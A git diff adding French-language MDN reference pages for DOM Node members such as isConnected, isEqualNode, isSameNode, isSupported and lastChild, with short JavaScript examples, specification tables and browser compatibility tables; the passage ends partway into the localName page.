+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<p> </p>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-insertbefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Corrige les erreurs dans l'algorithme d'insertion</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-node-insertbefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Décrit l'algorithme plus en détail</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement notable</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement notable</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-core.html#method-insertBefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/node/isconnected/index.html b/files/fr/web/api/node/isconnected/index.html
new file mode 100644
index 0000000000..0e2acb7b5b
--- /dev/null
+++ b/files/fr/web/api/node/isconnected/index.html
@@ -0,0 +1,96 @@
+---
+title: Node.isConnected
+slug: Web/API/Node/isConnected
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/isConnected
+---
+<p> </p>
+
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule <strong><code>isConnected</code></strong> de l'interface {{domxref("Node")}} renvoie un booléen indiquant si le noeud est connecté (directement ou indirectement) à l'objet contexte, par exemple l'objet {{domxref("Document")}} dans le cas d'un DOM normal  ou l'objet {{domxref("ShadowRoot")}} dans le cas du DOM shadow.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var isItConnected = nodeObjectInstance.isConnected</pre>
+
+<h3 id="Renvoie_la_valeur">Renvoie la valeur</h3>
+
+<p>Un {{domxref("Boolean")}} (<em>booléen</em>) — <code>true</code> (<em>vrai</em>) si le noeud est connecté <span class="short_text" id="result_box" lang="fr"><span>à son objet contextuel pertinent</span></span> et <code>false</code> (<em>faux</em>) sinon.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Un exemple DOM standard :</p>
+
+<pre class="brush: js"><code class="language-html">let test = document.createElement('p');
+console.log(test.isConnected); // renvoie false (<em>faux</em>)
+document.body.appendChild(test);</code>
+<code class="language-html">console.log(test.isConnected); // renvoie true</code> (<em>vrai</em>)
+</pre>
+
+<p>Un exemple DOM shadow :</p>
+
+<pre class="brush: js">// Crée une racine shadow
+var shadow = this.attachShadow({mode: 'open'});
+
+// Crée du CSS à appliquer au dom shadow
+var style = document.createElement('style');
+console.log(style.isConnected); // renvoie false (<em>faux</em>)
+
+style.textContent = '.wrapper {' +
+                       'position: relative;' +
+                    '}' +
+
+                     '.info {' +
+                        'font-size: 0.8rem;' +
+                        'width: 200px;' +
+                        'display: inline-block;' +
+                        'border: 1px solid black;' +
+                        'padding: 10px;' +
+                        'background: white;' +
+                        'border-radius: 10px;' +
+                        'opacity: 0;' +
+                        'transition: 0.6s all;' +
+                        'position: absolute;' +
+                        'bottom: 20px;' +
+                        'left: 10px;' +
+                        'z-index: 3;' +
+                      '}' +
+
+// attache l'élément de style créé au dom shadow
+
+shadow.appendChild(style);
+console.log(style.isConnected); // renvoie true (<em>vrai</em>)</pre>
+
+<p> </p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-isconnected','isConnected')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Node.isConnected")}}</p>
+</div>
+</div>
diff --git a/files/fr/web/api/node/isdefaultnamespace/index.html b/files/fr/web/api/node/isdefaultnamespace/index.html
new file mode 100644
index 0000000000..67da853471
--- /dev/null
+++ b/files/fr/web/api/node/isdefaultnamespace/index.html
@@ -0,0 +1,39 @@
+---
+title: Node.isDefaultNamespace()
+slug: Web/API/Node/isDefaultNamespace
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/isDefaultNamespace
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La méthode <strong><code>Node.isDefaultNamespace()</code></strong> accepte un URI d'espace de nom comme argument et renvoie un {{jsxref("Boolean")}} (booléen) avec une valeur <code>true</code> (<em>vrai</em>) si l'espace de nom est celui par défaut du noeud donné ou <code>false</code> (<em>faux</em>) sinon.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>result</em> = <em>node</em>.isDefaultNamespace(<em>namespaceURI</em>)
+</pre>
+
+<ul>
+ <li><code>result</code> détient la valeur de retour <code>true</code> (<em>vrai</em>) ou <code>false</code> (<em>faux</em>).</li>
+ <li><code>namespaceURI</code> est une <code>string</code> (<em>chaîne de caractères</em>) représentant l'espace de nom par rapport auquel l'élément sera vérifié.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var XULNS = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
+var el = document.getElementsByTagNameNS(XULNS, 'textbox')[0];
+
+alert(el.isDefaultNamespace(XULNS)); // true</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-isDefaultNamespace">DOM Level 3 Core: isDefaultNamespace</a></li>
+ <li><a href="/en-US/docs/Code_snippets/IsDefaultNamespace" title="Code_snippets/IsDefaultNamespace">Code snippets: isDefaultNamespace</a></li>
+</ul>
diff --git a/files/fr/web/api/node/isequalnode/index.html b/files/fr/web/api/node/isequalnode/index.html
new file mode 100644
index 0000000000..e78eb9a7c2
--- /dev/null
+++ b/files/fr/web/api/node/isequalnode/index.html
@@ -0,0 +1,140 @@
+---
+title: Node.isEqualNode()
+slug: Web/API/Node/isEqualNode
+tags:
+  - API
+  - Comparaison
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/isEqualNode
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La méthode <code><strong>Node.isEqualNode()</strong></code> permet de tester l'égalité entre deux éléments du DOM. Deux noeuds sont équivalents s'ils ont le même type, les mêmes caractéristiques de définition (ID, nombre d'enfants et autres), des attributs qui correspondent etc. L'ensemble spécifique de points des données qui doit correspondre varie en fonction des types de nœuds.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>isEqualNode</var> = <var>node</var>.isEqualNode(<var>otherNode</var>);
+</pre>
+
+<ul>
+ <li><code>otherNode</code> : Le noeud à comparer.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, nous créons trois blocs {{HTMLElement("div")}}. Le premier et le troisième ont les mêmes contenus et attributs, alors que le second est différent. Alors, nous éxécutons du JavaScript pour comparer les noeuds en utilisant <code>isEqualNode()</code> et sortons les résultats.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the first element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the second element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the first element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Specification" name="Specification">CSS</h3>
+
+<pre class="brush: css line-numbers  language-css"><code class="language-css"><span class="selector token"><span class="id token">#output</span> </span><span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">440</span>px<span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">2</span>px solid black<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> <span class="number token">5</span>px<span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span>
+  <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> block<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">let</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"output"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">let</span> divList  <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"div"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+</span><span class="operator token">=</span> <span class="string token">"div 0 equals div 0: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span>
+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+</span><span class="operator token">=</span> <span class="string token">"div 0 equals div 1: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span>
+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+</span><span class="operator token">=</span> <span class="string token">"div 0 equals div 2: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Résultats">Résultats</h3>
+
+<p>{{ EmbedLiveSample('Example', 480) }}</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-isequalnode', 'Node.isEqualNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.isSameNode()")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/issamenode/index.html b/files/fr/web/api/node/issamenode/index.html
new file mode 100644
index 0000000000..5ed912e638
--- /dev/null
+++ b/files/fr/web/api/node/issamenode/index.html
@@ -0,0 +1,151 @@
+---
+title: Node.isSameNode()
+slug: Web/API/Node/isSameNode
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/isSameNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>Node.isSameNode()</strong></code> teste si deux noeuds sont identiques, c'est-à-dire, s'ils font référence au même objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>isSameNode</em> = <em>node</em>.isSameNode(<em>other</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><code>other</code> Le {{domxref("Node")}} à tester.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, nous créons 3 blocs {{HTMLElement("div")}}. Le premier et le troisième ont les mêmes contenus et attributs, alors que le second est différent. Ensuite, nous exécutons du JavaScript pour comparer les nœuds en utilisant <code>isSameNode()</code> et sortons les résultats.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;This is the first element.&lt;/div&gt;
+&lt;div&gt;This is the second element.&lt;/div&gt;
+&lt;div&gt;This is the first element.&lt;/div&gt;
+
+&lt;p id="output"&gt;&lt;/p&gt;</pre>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#output {
+  width: 440px;
+  border: 2px solid black;
+  border-radius: 5px;
+  padding: 10px;
+  margin-top: 20px;
+  display: block;
+}</pre>
+</div>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let output = document.getElementById("output");
+let divList  = document.getElementsByTagName("div");
+
+output.innerHTML += "div 0 same as div 0: " + divList[0].isSameNode(divList[0]) + "&lt;br/&gt;";
+output.innerHTML += "div 0 same as div 1: " + divList[0].isSameNode(divList[1]) + "&lt;br/&gt;";
+output.innerHTML += "div 0 same as div 2: " + divList[0].isSameNode(divList[2]) + "&lt;br/&gt;";
+</pre>
+
+<h3 id="Résultats">Résultats</h3>
+
+<p>{{ EmbedLiveSample('Example', 480) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement (a été longtemps retiré).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Node3-isSameNode', 'Node.isSameNode()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    Removed in {{CompatGeckoDesktop("10")}}<br>
+    Readded in {{CompatGeckoDesktop("48")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<br>
+    Removed in {{CompatGeckoMobile("10")}}<br>
+    Readded in {{CompatGeckoMobile("48")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.isEqualNode()")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/issupported/index.html b/files/fr/web/api/node/issupported/index.html
new file mode 100644
index 0000000000..0a329b1fcd
--- /dev/null
+++ b/files/fr/web/api/node/issupported/index.html
@@ -0,0 +1,139 @@
+---
+title: element.isSupported
+slug: Web/API/Node/isSupported
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/isSupported
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<p>La méthode <code><strong>Node.isSupported()</strong></code> renvoie une marque  {{domxref("Boolean","booléenne")}} contenant le résultat du test par lequel est vérifié si une implémentation DOM prend en charge une fonctionnalité spécifique et si celle-ci est supportée par un noeud spécifique.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="syntaxbox"><em>boolValue</em> = <em>element</em>.isSupported(<em>feature</em>, <em>version</em>)</pre>
+
+<dl>
+ <dt>
+ <h3 id="Paramètres">Paramètres</h3>
+ </dt>
+ <dt><code>feature</code></dt>
+ <dd>est une  {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant le nom de la fonctionnalité à tester. C'est le même nom qui peut être passé à la méthode <code>hasFeature</code> de <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/implementation">DOMImplementation</a>. Les valeurs possibles définies dans la spécification DOM core sont listées dans la section <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">Conformance</a> de DOM Level 2.</dd>
+ <dt><code>version</code></dt>
+ <dd>est une  {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant le numéro de version de la fonctionnalité à tester. En DOM Level 2, première version, il s'agit de la chaîne « <code>2.0</code> ». Si la version n'est pas spécifiée, la gestion de n'importe quelle version de la fonctionnalité suffira pour que soit renvoyée la valeur <code>true</code>.</dd>
+</dl>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>doc<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+ <span class="comment token">// Obtenir un élément et vérifier pour voir s'il est pris en charge par les modules HTML DOM2.</span>
+ <span class="keyword token">var</span> main <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'doc'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">var</span> output <span class="operator token">=</span> main<span class="punctuation token">.</span><span class="function token">isSupported</span><span class="punctuation token">(</span><span class="string token">'HTML'</span><span class="punctuation token">,</span> <span class="string token">'2.0'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Supprimée de la spécification</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Level-2-Core-Node-supports', 'Node.isSupported()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#Level-2-Core-Node-supports', 'Node.isSupported()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatGeckoDesktop(1)}}</p>
+
+    <p>{{CompatGeckoDesktop(19)}} (partial)[1]</p>
+
+    <p>{{CompatGeckoDesktop(22)}}{{CompatNo}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatGeckoMobile(1)}}</p>
+
+    <p>{{CompatGeckoMobile(19)}} (partial)[1]</p>
+
+    <p>{{CompatGeckoMobile(22)}}{{CompatNo}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette méthode retournera toujours <code>true</code> ({{bug("801425")}})</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("Node")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/node/lastchild/index.html b/files/fr/web/api/node/lastchild/index.html
new file mode 100644
index 0000000000..3f31c8f722
--- /dev/null
+++ b/files/fr/web/api/node/lastchild/index.html
@@ -0,0 +1,70 @@
+---
+title: element.lastChild
+slug: Web/API/Node/lastChild
+tags:
+  - API
+  - DOM
+  - Enfant
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/lastChild
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule<strong> </strong><code><strong>Node.lastChild</strong></code> renvoie le dernier enfant du noeud. Si son parent est un élément, l'enfant est généralement un noeud élément, texte ou commentaire. Elle renvoie <code>null</code> s'il n'y a aucun enfant.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>childNode</var> = <var>node</var>.lastChild;
+</pre>
+
+<p> </p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p> </p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> tr <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"row1"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> corner_td <span class="operator token">=</span> tr<span class="punctuation token">.</span>lastChild<span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-lastchild', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.lastChild")}}</p>
+
+<div id="compat-desktop"> </div>
diff --git a/files/fr/web/api/node/localname/index.html b/files/fr/web/api/node/localname/index.html
new file mode 100644
index 0000000000..ea563ffab1
--- /dev/null
+++ b/files/fr/web/api/node/localname/index.html
@@ -0,0 +1,116 @@
+---
+title: element.localName
+slug: Web/API/Node/localName
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Nom local
+  - Propriétés
+translation_of: Web/API/Node/localName
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<p>La propriété en lecture seule <code><strong>Node.localName</strong></code> renvoie la partie locale du nom qualifié de ce nœud.</p>
+
+<div class="warning">
+<p>Dans DOM4, cette API a été déplacée de <code>Node</code> vers les interfaces {{domxref("Element")}} et {{domxref("Attr")}}.</p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>name</var> = <var>element</var>.localName
+</pre>
+
+<ul>
+ <li><code>name</code> est le nom local sous la forme d'une chaîne (voir {{ Anch("Notes") }} plus bas pour plus de détails)</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p>(Doit être servi avec un type de contenu XML, comme <code>text/xml</code> ou <code>application/xhtml+xml</code> .)</p>
+
